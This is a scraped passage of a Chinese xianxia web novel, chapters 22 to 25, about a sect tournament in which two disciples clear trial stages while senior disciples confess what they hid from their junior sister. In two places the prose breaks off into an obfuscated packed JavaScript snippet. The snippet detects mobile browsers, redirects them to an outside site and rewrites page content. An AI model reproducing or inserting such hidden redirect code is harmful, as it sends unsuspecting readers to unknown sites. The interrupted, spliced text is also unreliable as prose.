清云峰五子,各峰长老,以及各峰不可或缺的骨干人物,皆列位在上。 “嚯,上面人也挺多的啊。”顾元香伸手遮阳远眺,只能看到朦胧一点儿影子。 玄易戴着她的帽子,偏偏身形也高挑挺拔,人群之中尤为显眼。他和顾元香不一样,明知道宗门大比凶险还一点儿功课不做,全寄托于随机应变。 他将五年内比试的情况都打听清楚,道:“宗门大比有一条默认的规定,入此试炼,生死自担。” 顾元香闻言紧了紧喉咙,还没开始就往他身后藏了藏:“啊?不至于要我命吧?我只是想过六关而已啊。” 她声音压的小,几乎趴在玄易肩头讲话。他们四周都围着野心勃勃的骄子们,不方便洽谈什么闯关攻略。 无意参加的人走光,剩下的仍然是乌压压一大片。 随着林秋池一声令下,各派弟子们各显神通,顺着指引三两结对进入秘境。顾元香与玄易并肩在队伍末尾,并不着急进去。 反正一共三日,闯过五个大众关卡,就会来到各峰长老的定制化冒险。算来算去闯关是否能成也不是时间的问题,完全是实力考验。 元香默不作声地拍了拍贪生怕死剑,心里却是一阵狂吠,千万不要叫她失望啊! 白石台上,诸位话事人也得以散去。掌门领着其余门派的贵客入内殿安坐,清云五子以及各峰骨干就有了相当长的一段时间闲话家常套套近乎。 内殿之中没有少年人的位置,但与林秋池并立的那个空位是属于柳伏意的。 换句话说,整个内殿的人,应当都是在等她。 内殿之中众人一声不吭,不约而同地盯着门口那道碧色身影。她抱着剑倚门而立,随口附和几句同门的问候。 张风华做交际花久了,一眼就能看出那帮安于堂上的老东西在想什么。他笑呵呵地凑到伏意跟前来,被沈听寒冷不丁隔开了一人的距离,他抿唇“啧”了一声,眼看着伏意没反应,便也认了。 好嘛好嘛,女大不中留,更何况先是沈听寒的师妹才是他师妹,心有偏向也正常。 “伏意,你身后那帮老家伙可都在等着跟你说好话呢。” 伏意当然明白,这种万众瞩目的场面,她只是个长老罢了,根本没有资格坐下,更何况那位置是坐北朝南高于阶上的主位,与现在的掌门并肩。 林秋池的意 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“哎呀,都是为了灵剑派好,本是同根生,相煎何太急嘛?”他话音刚落,柳伏意便转了身。 她凛着眸子,随意挽着剑,漫不经心地跨进殿内,数道目光便齐刷刷投射过来。几人各自挪了位置,将好都能看见她的背影。 柳伏意自始至终目不斜视,步调轻缓灵快。她抬步上阶,转身坐下,懒洋洋地托腮扫了一眼堂下左右的前辈们。 外头沈听寒退了一步,确保柳伏意那个位置不会看见他,才淡淡道:“伏意生气了。” 凌浅越闻言一拳捶在庆钰背上,“咚”得一声闷响听的人就疼:“我说我要解释你硬要拦着我!伏意怎么可能不知道轻重缓急呢?” 庆钰顾及着场合不跟她计较,一手探到后背去揉了揉被她暴击的一块儿皮肤:“肯定紫了。你现在说也没用,被发现了再解释和一知道就提前打招呼,伤人的程度是不一样的。” 张风华干笑几声,来回扫了一眼面前的四个人,灵魂质问道:“所以你们真的每个人都有事瞒着小五啊。” 四人一道沉默。 张风华叹了口气,继续问道:“所以如果你们瞒的那件事,真的让小五粉身碎骨怎么办?” 毕竟现在内殿的气氛就很紧张了,他几乎能够闻到火药味。十几位掌门本就觉得天命剑主恃才傲物,无视戒律,刚才柳伏意又那么张狂,简直是直接推翻了烁金堂这些天辛辛苦苦发的洗白贴。 只要有机会,他们都不会放过这位年纪轻轻的天命剑主的。 而这个场面,张风华再明白不过了,应当他们这帮人各自完成了一块拼图,结果明里暗里共同促成了这一结果。 四人闻言猛然抬头,满脸都写着“你开什么玩笑”。 凌浅越:“肯定不至于啊,我这这么小一件事。” 庆钰:“她现在的能力是灵剑派最强的,怎么会应对不了。” 沈听寒:“不过是些私事罢了。” 阮长风瞪了沈听寒一眼:“是啊,我只是被迫牵扯进一些事情罢了。” 阮长风故意咬字“被迫”时重了几分,引得沈听寒一惯的笑面收敛了些。 22. 宗门大比(二) 凌霄殿中,柳伏意位于上座,垂着眼,神不守舍。 玄易早不来晚不来,偏偏在宗门大比没几天的时候来,又活生生绕过她的手,直接被填进了宗门大比的名单,此事能动手的人屈指可数。 那么把他填进去,究竟是为了试探还是灭口呢。 她想的头疼,表情就显得更加不耐。只是轻轻皱了皱眉,换了个坐姿坐着,便引得数位前辈齐齐噤了声。 “?”她略有顾忌,坐正了身子。总之没人闯到后五关,这些人根本不会有胆子发难的。 林秋池侧目,他没说话,但柳伏意也明白他的意思,无奈往后一靠。 “开始吧。” 终于是天命剑主的一声吩咐,打杂的弟子们费力抬上来一块偌大的观影石搁在凌霄殿中央,以便每位贵客都能清楚看见前五关的情状。 随着林秋池的灵力注入观影石,第一道关卡内部的影像清晰可见。 “这灵剑派如今的大权竟是都归给小辈了?” 锦绣坊的坊主荣锦绣摸不清状况,她带的礼物大头全是给林秋池的,若要临时转换目标去打通柳伏意的关系,恐怕也只能给她冷冰冰的灵石了。 与她交好的妙音阁阁主梅昭小声安慰她几句,道:“你怕什么?你瞧瞧她的风评,掌门要真舍得放权,她难道不给自己澄清几句啊?” “她杀了姜美娘,合欢宗宗主不得与她不共戴天啊。”两昆仑的掌门高望飞含笑提及,惹得合欢宗现宗主乔宁剜他一眼。 乔宁虚虚扫了一眼堂上气定神闲的姑娘,微微一笑道:“怎么会,修界传言都是构陷。姜美娘死不足惜~” “啧,还不是为了抱灵剑派的大腿。” “这几天过后还是不是大腿可不好说啦。” 七嘴八舌,各说各话,柳伏意听得见,但不想理。她定睛在观影石上搜索玄易和顾元香的身影,二人进去的慢,许多人过关了,他们才刚找到第一关入口。 宗门大比第一关设立在一处幽暗洞穴之中,脚下是松软湿润的泥土,一头闯进洞里蝙蝠呼啸而来,紧接着蛛网便糊了满头。 顾元香向来怕虫,吓得嗓子都要喊冒烟。 不夜天的刀修哈哈大笑,举着火把照亮了她的脸,嘲讽道:“就你俩还灵剑派的代表选手吗?一个小姑娘穿的不伦不类的胆子还这么小,偏偏挽着一个假和尚?” 玄易不逞口舌之快,轻轻拍了拍顾元香的肩,小声道:“元香师姐,你害怕拉着我就行,不用看路。” 顾元香也想勇敢点,但她真的做不到。于是眼看着脚旁步履匆匆过了许多人,也只能在心里干着急。 不进来倒还好,一进来被这敢于争先的气氛一渲染,生怕落于人后。 她尽量不拖后腿,两人进入第一关的时候各自戒备,却不想面前的房间窗明几净,几乎看不到一丝危险或诡异。 空间内只有玄易和顾元香两个人,他率先迈进房间里,选了个习惯的位置坐下,随即为难地抬头看了她一眼。 “你这什么眼神啊?”顾元香欲哭无泪不想进去,眼看着玄易举起桌上一张字迹满满当当的宣纸。 他说:“第一关文试哎。” 顾元香几欲吐血:“什么?!不会又是什么剑术概论剑修显性基因序列分析吧?!” 那她现在就可以弃权出门左拐了。 玄易大致浏览一遍,“没有,一半是修道基础知识,一半是课外延伸。” 顾元香在他身旁落座,见玄易已经撩起袖子研墨,心下一喜:“你会写呀?” “基础知识很少有人不会吧?一共十题,只要答对六道就能及格过关了。基础题就六道,第一关当然是送分来的。”玄易提笔行云流水,顾元香趁着他写答案的时候顺道往下瞥了瞥,问,“第一关考的高有用吗?” 玄易答说:“分数越高获得的提示越多,后面越好过关。” 她笑呵呵地:“那你快写,后面那些邪魔外道的题目我都会,咱俩能拿一百。” 画面外的柳伏意无奈浅笑,这两人搭配竟然还意外的和谐互补。 结果如他们所料,基础六十分玄易背经有效全都拿满,那课外各种犄角旮旯搜罗来的邪道科普顾元香信手拈来。 一百分,最高分通关。 玄易喜怒不形于色,顾元香高兴的眉飞色舞,仰头叉腰等着人给提示。烟紫的灵力扫过卷子后幻化成一张无字纸,到哪关便提示哪关的过法。 上头若隐若现的第二关通关秘诀只有寥寥几字—— “能打或抗揍。” 顾元香差点捏爆那张纸:“用你说啊!” “算了算了,有总比没有好。” 玄易收起那张皱巴巴的无字书,二人顺着既定的线路到了第二关。 第二关大道至简,甚至连基础的场景设定都没了。 空泛虚无的灵力空间内十八铜人垒成一座金色人山,一见来人便各个空翻打拳排成一排。铜人人如其名身硬如铜,上身赤裸着,腹肌胸肌肱二头肌发达得能夹死蚊子。看每个铜人的出场动作,有的拳法了得,有的步法强悍,各有擅长。 用一句话讲,就是没有弱的。 顾元香定了定,想起无字书的提示:“天王老子也扛不住十八顿揍吧?” 玄易长叹一口气,在十八个铜人前来回踱步。他还没想好要打还是要挨,面前就突然伸过来一颗拳头那么大的丹药,一看就不是药师堂里出的正经规格,想必是顾元香私制的。 “这啥啊?”又黑又大又臭的。 顾元香拍他一掌,怨他暴殄天物,举起来满眼放光解释说:“这才是通关秘诀,我偷摸着炼的痛痛飞走丹。” 玄易向来佛系稳重,也不由歪了眉毛,什么破名,什么破丹? “依我看啊,直接挨打是最方便的。你这一关打一次可能打不过去,十八个人得试好几次,这体力耐力得多强才受得了?反正选择打铜人也免不了挨揍,你不如吃了我的痛痛飞走丹,直接挨十八顿打算了。” 玄易当即拒绝:“你要害死我啊十八顿打!我又不知道你这个鬼丹有没有用,没用怎么办?!” 顾元香也不知道怎么说动他,毕 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玄易吃完那颗丹药,又涨肚又想吐,起身站在十八铜人对面,视死如归:“来吧,我选择挨打!” 画面太凶残,林秋池动了动手指便换成了不夜天几位刀修弟子的闯关记录。 按照宗门大比的规定,闯关人数越多难度也相应的越高,因而一人闯是九个铜人,两个人十八铜人,以此类推。最高一队不过四个人。 四位刀修弟子挑战三十六个顶级铜人,平均下来也是一对九。四人算都没算,拔刀便迎上去。特制的刀削铁如泥,上头加附的不夜天秘法将铜人十八般武艺样样堵死。刀光剑影,撑霆裂月,四位弟子打的铜人铁制的身体组织到处乱飞,切人如切菜。 柳伏意目光顿足在那几把统一打造的长刀上,长睫微颤,默不作声地皱眉看向一旁的林秋池。 不夜天的佩刀基本也是继承制,类似于灵剑派的剑阁。正是因为历史悠久,刀修脾性各异,每把刀自然也不大一样。纹路、刀柄、刀身,都带着前人的痕迹,要在众多前辈的佩刀中找到两把一模一样的根本是天方夜谭。为了弟子修行长远,更不可能由门派统一打造佩刀湮灭弟子的发展。 除非不夜天早就知道要应对什么样的角色,才为了好通关,给长处各异的弟子们统一打造了专门应试的刀。 她真是不明白,林秋池到底在想什么。 既然出卖了考题,那么至少不夜天的人前五关是没有问题的。难怪庆钰特地嘱咐她守好最后一关,或许不止因为魁首之礼担待不起,也是因为今年闯到最后一关的人数可能大大增加。要透题也不可能只透给单单一个不夜天。 比起玄易和顾元香这种投机倒把的闯关方式,刀修弟子酣畅淋漓的猛战的确让一圈子前辈都赞叹连连。 上了年纪的各位互相恭维,说尽好话,实际各个心怀鬼胎。这试炼怎么回事都不必多说,怕是大致通过几人他们合计一下都能给个确数。 柳伏意实在不喜欢这样市侩的场面。她闭目养神,硬是谁来闯关都不再看。 23. 宗门大比(三) 观影石不仅凌霄殿有的看,不参加比试的众人在白石广场上排队即可领一颗巴掌那么大的。 忍冬春喜没见过这种场面,像模像样地输入一些灵气,心里想着看顾元香玄易两个人,画面便停在二人身上。 玄易挨了顿胖揍,身上的佛衣破了几道口子,额头的血迹一路往下淌,自上而下像一条蜿蜒的河流,流过整张脸,左眼肿着,一点儿都看不出几个时辰前临风玉树的高僧模样。 画面中,顾元香将他搀起来,他被打的面目全非也只是伸手拍了拍屁股上的土。若无其事的,跟着指引往下一道关卡去。 表面上看着十分沉稳有担当,其实玄易内心早就喊破天了。 被十八个铜人围住暴揍的时候,的确不疼,但自己蜷缩着半弯着腰保护要害部位,免不了就挤压到胃部。 痛痛飞走丹的味道一直在他口腔里来回,简直比直接上手抽他还要折磨人。 到底谁给他塞进宗门大比来的? 对于这点,正在看观影石的沈听寒和阮长风就非常有话语权。沈听寒认为玄易心怀不轨,阮长风说不过他也拗不过他,心想能参加试炼或许也是好事,就帮忙在名单上添了玄易的名字。 试炼罢了,灵剑派准备了上百个剑术有成的弟子,玄易随便挑一个都能保他光鲜亮丽地度过前几关。 他们愣是没想到玄易手能这么臭,避开了那么多灵剑派的天才,百里挑一的概率给他摸到了顾元香当队友。 阮长风擦了擦汗,瞅着观影石里伤痕累累的和尚,转头冲沈听寒小声道:“他要是过了问心阵也没什么事,你就跟他好好道个歉吧。一心向佛的肯定比你善良,他会原谅你的。” 沈听寒脸色蓦然一黑,他极少有兜不住脾气的时候,很快又恢复往日温柔和煦的笑相,反问道:“我哪里不如他善良了?” 都不知道他在意这句话的重点到底是“比你善良”还是“善良”。 阮长风望着他略带威胁性的眼神,舌头打了结似的,无奈道:“行行行,你挺善良的。” 他话锋一转,瞥见里头眉眼仍然阴郁的柳伏意:“你瞒着伏意的事情也不少,比起玄易原不原谅你,你还是担心担心伏意吧。” 沈听寒身上嚣张又理性的气焰听见这个名字就瞬间沉寂下来。他仰头望天,暂时想不到解决办法。 不只是他,清云四子也一样。 “不行就再捅自己一刀呗。” 阮长风闻言捂脸,对于沈听寒这种愿意舍命博心上人欢心的疯子不得不钦佩:“好兄弟,又要把自己串成串吗?你几条命啊这么造?” 凌浅越在他俩后头坐着,一样唉声叹气。转眼看到庆钰又在喝酒,没忍住踹了他一脚:“不要当着那么多人的面酗酒啊!丢不丢人!” 不过这个点儿不该在这看到庆钰才对。她问:“你不是要负责协防吗?呆在这结界不看了?” 每年宗门大比鱼龙混杂,灵剑派各处需要防卫的地方无非是一些钱库粮库剑阁藏经阁。派人守着还不够,还要设杀伤力很强的阵法,里里外外防住了才算安心。 今年略有特别,庆钰早就拿到手的那份舆图上额外标记了几处,是掌门特地交代防人误入的,主要都是一些禁地,涉及机密。通常这种地方人迹罕至,自然就成了各派安插的眼线回禀信息的好地方。 整个灵剑派盯得最紧的,怕就是清净峰那块儿了。 “不用,那结界要是有修士能顶得住,我在那儿也会夸他是个汉子放他进去的。” 张风华越听越不对劲:“你可别在这个关头搞出来人命啊。” 对于各宗安插着打探消息的,十二派彼此之间都是睁一只眼闭一只眼。庆钰要是弄死人了,那灵剑派就更要被单拎出来论。 庆钰晃着酒瓶,又挨浅越一脚,换个地方窝着喝酒:“我早说了给他们点颜色瞧瞧……那是个很猛的吸金大法,管他什么空间囊寄物鼎全都防不住。” 众人“噢”了一声。 做修士哪有不穷的,肯去做眼线的就更是穷的没话说了,当着他的面儿把灵石吸走偏偏苦主还无力阻止,不跑等破产吗。 “哎,元香和玄易到第三关了。” 几人同时低头往手上的观影石看过去。所谓第三关,今年别出心裁,特地做了一个超级大迷宫。 玄易和顾元香站在迷宫入口,左右一甩头看不见迷宫最外层围墙的边际。他从怀里掏出那张无字书,脸黑了黑。 被狂殴的时候忘记拿出来,无字书被打的当真看不见字了。 顾元香眨着大眼过来瞅了一眼,宽慰道:“其实我觉得问题不大,上一关他就给个能打或者抗揍的通关提示,能有啥用啊。” 话是这么说,但…… “你玩儿过迷宫吗?我们连迷宫长什么样子都不知道,直接进去走到下辈子都出不来。” 顾元香看着他,语气很真诚:“对不起师弟,我不会御剑。” 玄易:…… 他好恨,为什么灵剑派设置的前五关进入关卡之后各宗弟子之间就不互通了呢?不然好歹能让他跟顾元香以外的人说说话。哪怕骂他几句贼秃驴他都舒服一些。 他长长叹了口气:“佛祖,我悟了。苦海无涯,不过如此吧。” 观影石外不知道多少双眼睛盯着,面目全非的清贵佛子弯个腰都疼得倒抽好几口气。硬是歪着脖子把不靠谱的师姐驮起来,让她踩着他的背爬上迷宫围墙。 顾元香前脚刚站稳,玄易后脚就瘫了。 阮长风瞅了一眼同样没眼看的沈听寒,俊脸皱的分不清五官:“你不给他道歉我都看不过去了!” 顾元香东张西望,叉着腰看向底下:“师弟,这个迷宫望不到边哎。” 她说的云淡风轻像看风景,底下那位的心切实地如坠冰窟。他艰难地扶墙爬起来,双手合十阿弥陀佛…… 苦行僧的理念居然是对的,就比如现在,只要他多吃一点苦,顾元香就真的能少吃很多苦。 玄易拘着佛礼垂头念经,用经文来平复心情。顾元香见了这佛光普照的画面嘴角不由跳了跳,当初在浴池里满眼邪光的和尚折腾这么几个时辰都快当场飞升坐化了。 不就是被揍了十八顿吗。 她转过脸来看了看,道:“这个迷宫怎么可能真的这么简单?好歹也是第三关了,掌门设置个纯种迷宫也只能防住不会御剑的。除了我们俩,谁还不会御剑啊?没意义。” 和尚眼光暗了暗,没有反驳。 顾元香见上面不会再有什么线索,小心翼翼地跳下来,将玄易搀起来:“你吃了我的丹药根本不疼,装什么呢?” 他忍痛挺直腰板,没什么怪罪她的意思:“挨打的时候是不疼,过了一阵子慢慢的就有些疼了。不过也有可能是旧疾复发吧。” 顾元香闻言漂亮的眉毛拐成八字,出现这种情况就只有一种可能……佐料放太多了,主料的药效被抵消了。 毕竟她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027694|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一开始就没打算把那颗那么大的痛痛飞走丹给自己吃,那就是为了恶搞和报复玄易那天在浴池的所作所为故意弄的。 她瞬间心虚,也不好再指挥玄易干什么,老老实实地搀着他往迷宫入口进去。 “先进去再说吧,车到山前必有路也得先上路才行。” 俩人行进速度极慢,外头盯着他们的几位哪个不是沐浴着正午阳光,吹着浅浅微风,看着这么无聊的画面转播真一时忍不住要睡过去。 既然如此,还是张风华一捋长发,打破了昏昏沉沉的一片寂静。 “你们都瞒了小五什么啊?”他舔了舔自己的虎牙,看上去阳光又正派,浑身花里胡哨的暗缎花锦袍都有些不称人。眼看着其余四人都有几分犹豫,他无所谓道,“反正大家都是同门,总不会有人真心想让小五难堪的吧。” 他笑笑,紧接着道出属于他的那块拼图:“今年宗门大比的时间和魁首嘉礼,是在我的运作下同时敲板的。” 凌浅越听上去,这就是张风华作为交际人物本就该完成的使命,也没什么说不出口的。 她说:“骂的最狠的几道黑帖是我发出去的,当然也没怎么帮她控评,所以现在口碑还是这么差。” 另外几人脸色变了变,庆钰坐直身子:“我帮忙改了今年的结界,最后一关会有几个高手混进去。” 张风华听罢,吊儿郎当的样子收敛起来,默不作声。比起他们仨做的事儿,沈听寒和阮长风完全就像是小孩过家家,这样愣说出来反而很丢脸。俩人默契地看看天看看地,生等着这个话题岔过去。 “听说宗门大比是生死自担待,她们不会出事吧?” 细碎的声音从远处飘过来,几人终于低头,潜心去看观影石。 顾元香拉着玄易在迷宫里头狂奔,根本不辨方向有弯就转,反而是走错一条路就会出现各种各样的机关。 于是弩箭、灵弓、傀儡、毒雾……手段层出不穷,全都如影随形地跟在二人身后,一个不小心就要挂彩。 “不要瞎跑了!”玄易扎住脚步,连带着元香都狠狠扯了一下,又回过身子来不得不面对身后紧追不舍的暗器。 玄易眸光深邃,大手一伸握在元香那把贪生剑上:“师姐,介不介意我用一下你的剑。” 顾元香哪里顾得上什么别的,连忙把两把剑都拔出来摆在他面前:“你喜欢哪个用哪个吧!” 他得到许可,贪生自然秉承着剑主的意识出鞘。和尚身上几处伤口还冒着血,他沉着脸仿若未闻,提剑将傀儡狠命一串全都消散。 百忙之中他将顾元香拉到身后,挥砍几次灵力盛然,冲散破空而来的箭雨,整座迷宫被他的灵力一激显出一条忽明忽暗又是佛光又是阴影的路径来。 所有人对玄易的态度无不是一片震惊,这和尚平日里除了念经也没见他用过剑。只有早年间几句传闻说他于剑道天赋异禀。 既然练剑没有出问题,那谁偏要放弃剑道弃而求佛,更对剑道讳莫如深,不到生死关头不肯暴露。 沈听寒提了提眉,阮长风就明白了他的意思。 玄易就是有问题。 “光凭灵力就能冲破迷宫路障的话,那说明玄易这小子天分不低啊。” 阮长风咬了舌头,把后半句“肯定比你强”给吞了。 “给他准备的这条路未必是通关路。”沈听寒仔细盯着那条隐约光路,“他的道心,不是不稳。” 根本是入魔的征兆。 24. 宗门大比(四) 迷宫之内,眼下的危机解除,贪生剑红光一闪回归剑鞘里。 玄易的身形歪了歪,顾元香连忙上前扶住他的胳膊。他抬头,那个眼神元香别提多熟悉了,又邪又阴又狠戾,像双眸深处燃着一团躁动的鬼火。 这是……走火入魔啊? 她手上的力道默默松了一些。 “师弟,你没事吧?大家都瞧着呢……”她当然是怕不提醒这妖僧他脑子一热就忘记这是在试炼,谁知道会不会又拿两把剑来绞她脖子。 “没事。” 玄易从怀中摸出佛珠,原地坐下念了好长一段她听不懂的梵文,心绪慢慢平静下来。 事到如今玄易道心种魔已经是板上钉钉,但他为什么能堂而皇之地进入试炼之地,让凌霄殿内一众掌权之人全都当瞎了眼睛。 柳伏意对此不会多说什么,毕竟玄易塞到她身边就为着一句道心不稳。而后头的事,总有计较的时候。 凌霄殿内陷入一阵诡异的寂静,殿外却是几位大弟子面部表情齐齐乱飞。 “这特么就是你说的帮忙改了改结界啊?!有心魔的都能进?!”凌浅越压着嗓音,又格外激动,听起来撕心裂肺到嗓子劈叉。 庆钰心虚地闭着眼睛没敢睁开:“我不也是谨遵师命吗?” 张风华在一旁笑呵呵的,说到底都是顶层的那帮人玩的名利场,和他们这帮手底下负责做事的没什么关系。哪怕玄易是在秘境里当场入魔,十二派的掌门也会默契地全当没看见,联手把这消息封的死死的。 参加试炼的弟子们知道又如何?胆敢搬出来说,指不定上头有多少折磨人的把戏。 “好啦浅越,放过庆钰吧,他的确没得选。不过我看玄易控制的也挺好,应当不会坏事的。”张风华做惯了和事佬,双臂一展一边揪着师弟一边拦着师妹,无论他俩怎么打闹都不会影响张风华风流倜傥光彩照人。 沈听寒勾了勾唇,和阮长风对了一眼:“你这师父真是挺胆大的啊,入了魔的男人都往清净峰塞?” 言下之意,入了魔的都野性难驯,邪气逼人,武力值翻三番不说,就连勾引人的本事也见长。把这两个人放在一起,实在是很危险。 阮长风看出沈听寒有多不爽,但他说的也是实话,也就没有反驳。 画面中,顾元香搀着玄易,在那条光影交错的路径上寻找出口。玄易紧攥着拳,胳膊上肌肉青筋暴起,看着已经濒临极限。 行差踏错一步,光路瞬息间蜕变成纯黑色,二人像立在一条独木桥上,进退两难,全是危机。 玄易又要拔顾元香的剑,被她偏身躲避了伸过来的手:“你还敢!太多人看着了,我可不想害死你啊。” 和尚清浅一笑不说话了,二人脚下的幽黑逐渐聚拢于一处,眼看着可踏足的区域越来越少,顾元香不由掉了几滴冷汗。 “那你想退赛?”玄易道。 顾元香紧咬着牙,拔出贪生怕死剑来扔在地上,声音略带颤抖:“我当然不想啊!最后一搏吧!” 她的灵力从来没有一刻这样集中过,感应着两把属于她的佩剑。贪生怕死悠悠悬浮起来,模仿着那天柳伏意示范的那样,纯靠意志驱使飞剑术。贪生歪歪斜斜地劈开周围飞来的攻击,剩下一把怕死原地颤了颤,便自发地往前冲去。 “跟着怕死,她感知很灵敏!” 两人跟着怕死剑在忽明忽暗的道路上狂奔,贪生殿后,虽不是一夫当关万夫莫开的神勇,但也已经挡住了九成背后冷箭。 怕死在一堵墙之前停下来,两人被紧随而来的贪生围在中间。 “这是什么情况?不是说她感知很灵敏吗?找不到出口?”玄易三连问把顾元香生生问懵了,她伸手握住怕死剑微叹道,“她不也是没把咱们带到沟里吗?走进死胡同是一回事,触动机关又是另一回事了。” 她极快地反应过来:“规则也没说非得走一条固定的路吧。” 玄易抱臂站在一旁看着,她提腕便是狠狠的几连砍:“既然没说,那就跟着怕死走,有墙堵着我就破开它!” 面前一堵墙轰然倒塌,怕死一马当先闯进新路里去,顾元香便往后一抓将贪生拿来挥砍。 “你确定这个迷宫不会移动或者扩大吗?”玄易跟在她身后,眼看着她砍了数十道墙仍然不见出口,心里到底有些慌了。 他从怀里掏出无字书来,念念经渡渡灵力,这时候哪怕无字书蹦出来一句“一走到底莫要回头”的废话他也会很安心的。 他转念又想,如果是其他修为高强的弟子们组团闯迷宫,跟他们闯关的方式应当也差不了多少。唯一的差别就在于那帮天骄不会被迷宫机关追着到处跑罢了。 入了迷宫,本就是不辩方向的。 玄易扯住顾元香的袖子,她气喘吁吁地回过头来,见他正抬头四处望着什么。 “你看啥呢?” 玄易道:“这里和第二关很像,都是灵力幻化的一个空间,除了要过的关卡什么都没有。” 顾元香敛着眸子,憋着一口气略显不耐。 这都是题干了还用你说吗? “既然在这个空间里本来就想让我们分不清楚东南西北,那同一层面寻觅方向或许已经没有意义了。”否则刚才他灭了迷宫的路障,灵力外显出来的路就不该是毫无曲折的。 迷宫本身,就是幻象。 顾元香若有所思,玄易也不拖沓:“要么上天,要么下地。出口最有可能在这两个方位。” 有了思路,顾元香便让贪生和怕死分道扬镳,一个最大程度地往天上冲,一个卯足了力气往地下钻。 迷宫所处的平面渺无边际,而空间的顶层和底部却是有阈值的。两把剑各自来到进无可进的地步,分别位于天上地下的阵眼也就愈加明晰,莹莹泛着金光。 “果然,加把劲!” 元香叫苦不迭,她哪来的这么多灵力啊!她无奈,只能气沉丹田,把浑身能调用的所有力气全都一股脑地使出来,两把剑的剑锋愈加强劲,阵眼的光芒逐渐逊于贪生怕死。 “砰”—— 秘境如玻璃般由中心开始碎裂,尖锐透明的碎片如冰雹片片滑落,猛地砸下来。 元香和玄易两人也倏然往下坠落,衣袍翻飞犹如幽蝶。她低头看去,身下一望无际的深渊寒芒点点,愈加逼仄的前路中,随着空间一道挤压而来的还有四面八方的凉意和血腥气。 这哪里像是通关啊? 坠落的时间越长,四周残存的灵力就越少。狂卷的劲风让他们不得不抬起袖子挡住自己的眼睛。 看不清幻境和现实是如何衔接的,一阵袭面而来的狂风暴雨过后,二人狠狠摔在地面上。 顾元香浑身痛的像要散架,玄易将她拉起来,两人原地休整片刻,才发现这周围的陈设再熟悉不过了。 二人一对眼,答案呼之欲出:“清净峰?!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027695|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我们应该是进入第四关了。” 话音甫落,林秋池的法相分身就出现在他们身前,板着脸不苟言笑,一把将怀里的画像和状纸塞给他们。 他动作太粗暴,画像状纸落了满地都是,二人怀里仅存的几张还皱巴的差点破了。 玄易心下了然:“这肯定不是真的掌门。” 林秋池背手而立,领着他们走上一条古朴清幽的小路。这条路,元香和玄易也熟啊。 “这不是去戒律堂的路吗?” 一切的一切太过真实,元香已经分不清这里到底是真的清净峰还是用灵力变化出来的清净峰。她跟着林秋池走进戒律堂,眼前的景象叫她目瞪口呆。 常听说戒律堂司掌灵剑派刑狱之事,但各种细节也就只有主事长老才能亲见。 约有数百位男男女女老老少少,浑然一色被反剪着手,垂头向公堂之上的高位跪的彻底。 林秋池并不关心他们在后头如何磨蹭如何作想,他飘逸华贵的衣袍掠过一行行的“罪人”,身形一歪,在主位上坐正。 “第四关很简单,身为修士必得慧眼识人。这里足足有百人,每人都有画像与状纸,但真正有罪的只有一人。只要找出有罪的那一个人,你们就可以过关。” 顾元香听了秀眉一弯别提有多不乐意了,又是动脑子的项目。 林秋池讲完规则便消失不见,主位空空荡荡,底下成排跪着的人抬起头来不哭也不闹,有人停在他们身前时才为自己辩解。 听起来也是无关痛痒毫无用处的几句废话—— “长老,我是冤枉的。” “仙人,我真的不知情啊……” 顾元香猛翻一个白眼,咬碎一口银牙恨铁不成钢:“我也不知情啊!” 林秋池题干给的模糊不清,什么找出一人有罪,那人犯了什么罪也只字不提。玄易试着将每人的画像和状纸与本人一一对应,发现这根本就不是个一朝一夕能完成的任务。 “难怪规定的闯关时间只有三天,咱们在迷宫花的时间应该还算是短的。如果正儿八经去走迷宫,再一本正经地来这边找真凶,三天可能真的不够。” 他言下之意昭然若揭,抽丝剥茧顺藤摸瓜地找真凶是不大现实的,那就接着走邪门路子。 二人各自在一旁的太师椅上坐下,心神寂静之后戒律堂中弥漫的气味便好似更加浓郁。 挥不去的血腥味逐渐包裹起两个人,询问室的门悄然敞开,一阵阴风从背后袭来,顾元香没来由地毛骨悚然缩了缩脖子。 甲字询问室她不是没进去过啊,当时审讯文柔的时候她就在里头站着,也没觉得这么瘆人…… 询问室古旧沉重的铁门微敞着,玄易偏头顺着缝隙往里头看过去,白骨森然叠在刑架之下,墙壁上悬挂着各式各样的刑具,刑具上头沾着血肉,有些还在滴滴答答淌着血。 血滴规律固定地打在地上像是某种计时装置,让人寒毛直竖忐忑难安。 他犹豫着要不要推门进讯问室看看,没等他真的迈出步子,甲字询问室的铁门被阴风掀开,露出门后吊着的刚死不久的尸体。 血红色眼珠瞪大几欲夺眶而出,身上皮肉七零八落像是被凌迟刮了无数刀。 顾元香扭头是这样一幅场景登时从椅子上滑了下来,没出息地往玄易身边靠了靠。 伸手就攥住了和尚的袈裟:“吓死人了!你……你要不要去超度他一下?” 25. 宗门大比(五) 观影石外的几人很快就意识到不对劲。 凌浅越黑着脸:“烁金堂那儿还有成批的黑帖都洗不白呢,又整出来个这?” 张风华摇了摇头无可奈何:“看来师父对小五不满已久呢,不知道他是不是想借刀杀人除掉伏意……啊,如果真的是这样,那我们都成了帮凶哎。” 他话说的直白又难听,在场几位不免都剜了他一眼。 张风华耸耸肩:“已经是很明显的局了,我不说难道就不会这样发展下去了吗。” 沈听寒面上温柔之色尽消,取而代之的是从未有过的狷狂。 